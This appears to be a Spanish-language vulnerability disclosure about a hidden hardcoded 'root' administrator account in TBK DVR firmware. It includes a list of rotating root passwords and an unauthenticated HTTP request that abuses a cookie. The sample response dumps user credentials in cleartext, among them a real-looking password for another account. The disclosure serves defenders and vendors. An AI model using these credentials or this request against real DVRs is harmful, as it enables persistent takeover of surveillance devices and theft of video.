UIDDISCLOSE
HighCWE-798

[TBK DVR] Backdoor: Cuenta root permite acceso de administrador. ( +Contraseña rota ) - CVE-2026-####

0
Community vote
7.5
High
CVSS 3.1 base score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
// Executive summary

El dispositivo incorpora una segunda cuenta de administrador, root, con la contraseña ( mayormente se encuentra la contraseña 199509, pero tambien se puedne identificar otras ) que no aparece en la interfaz web (la lista de usuarios la filtra explícitamente). El acceso con root/199509 es válido y otorga privilegios de administrador, constituyendo una puerta trasera: aunque el dueño cambie la contraseña de admin, la cuenta root permanece activa y no se puede ver, modificar ni eliminar desde la UI.

Componente afectado:

  • Endpoint / mecanismo: GET /device.rsp?opt=user&cmd=list con Cookie: uid=root y POST /logincheck.rsp?type=1

  • Stack / versión: firmware T2017040635_V01; filtrado en UserManager.js (if(uid=="root"){continue;})

  • Precondición: ninguna (el valor de uid se fija arbitrariamente; el login acepta la credencial fija)

// Reproduction steps

Credenciales / contexto de prueba: acceso remoto no autenticado.

Unico paso — Descubrir la cuenta oculta:

.

Check automatizado

Verificacion:

.

.

Update:

Pude evidencidenciar que las contraseñas identificadas para el usuario "root" van rotando :

"075939"
"199509"
"222749"
"232752"
"245867"
"262132"
"295276"
"339313"
"559502"
"617433"
"737550"
"840985"
"963569"

// Affected surface
URL
http://192.168.0.101:85/device.rsp?opt=user&cmd=list
Endpoint
GET /device.rsp
Parameter
opt=user&cmd=list
GET /device.rsp?opt=user&cmd=list HTTP/1.1
Host: 192.168.0.101
Cookie: uid=root
User-Agent: Morzilla/7.0 (911; Pinux x86_128; rv:9743.0)
Accept: */*
Connection: close


HTTP/1.0 200 OK
Content-type: text/html; charset=UTF-8
Server: GNU rsp/1.0
Content-Language: en
Expires: -1
P3P: CP='IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT'
Cache-Control: private, max-age=0
Connection: close
Date: Sun, 20 Sep 2026 01:24:05 GMT


{
  "result": 0, 
  "list": [
    {
      "uid": "root", 
      "pwd": "075939", 
      "role": 2, 
      "enmac": 0, 
      "mac": "00:00:00:00:00:00", 
      "playback": 4294967295, 
      "view": 4294967295, 
      "rview": 4294967295, 
      "ptz": 4294967295, 
      "backup": 4294967295, 
      "opt": 4294967295
    }, 
    {
      "uid": "barcasa", 
      "pwd": "Carcarazza79@", 
      "role": 2, 
      "enmac": 0, 
      "mac": "00:00:00:00:00:00", 
      "playback": 4294967295, 
      "view": 4294967295, 
      "rview": 4294967295, 
      "ptz": 4294967295, 
      "backup": 4294967295, 
      "opt": 4294967295
    }
  ]
}
// Impact

Account takeover persistente y no detectable por el usuario:

  • acceso administrativo total

  • exfiltración de vídeo

  • modificación de configuración

// Mitigation

Actualizar a la ultima version estable disponible, la cual deberia poder cubrir minimamente:

  • Eliminar la cuenta root hardcodeada (o exigir un secreto único por dispositivo / primer arranque).

  • No ocultar cuentas del listado de usuarios: si una cuenta existe, debe ser visible y gestionable.

  • Rotar la credencial en todos los dispositivos afectados.

Comments

0
Sign in to comment and vote.

More from @CapitanAlfa

Writeup7.5

[DVR TBK] bypass de autenticación en DVR (multi vendor ) - CVE-2018-9995

On TBK Vision

El endpoint device.rsp?opt=user&cmd=list del protocolo rsp devuelve la lista de usuarios con sus contraseñas en texto claro cuando la petición incluye la cookie Cookie: uid=admin , sin requerir una sesión válida . Un atacante remoto no autenticado obtiene…

@CapitanAlfa 1 min00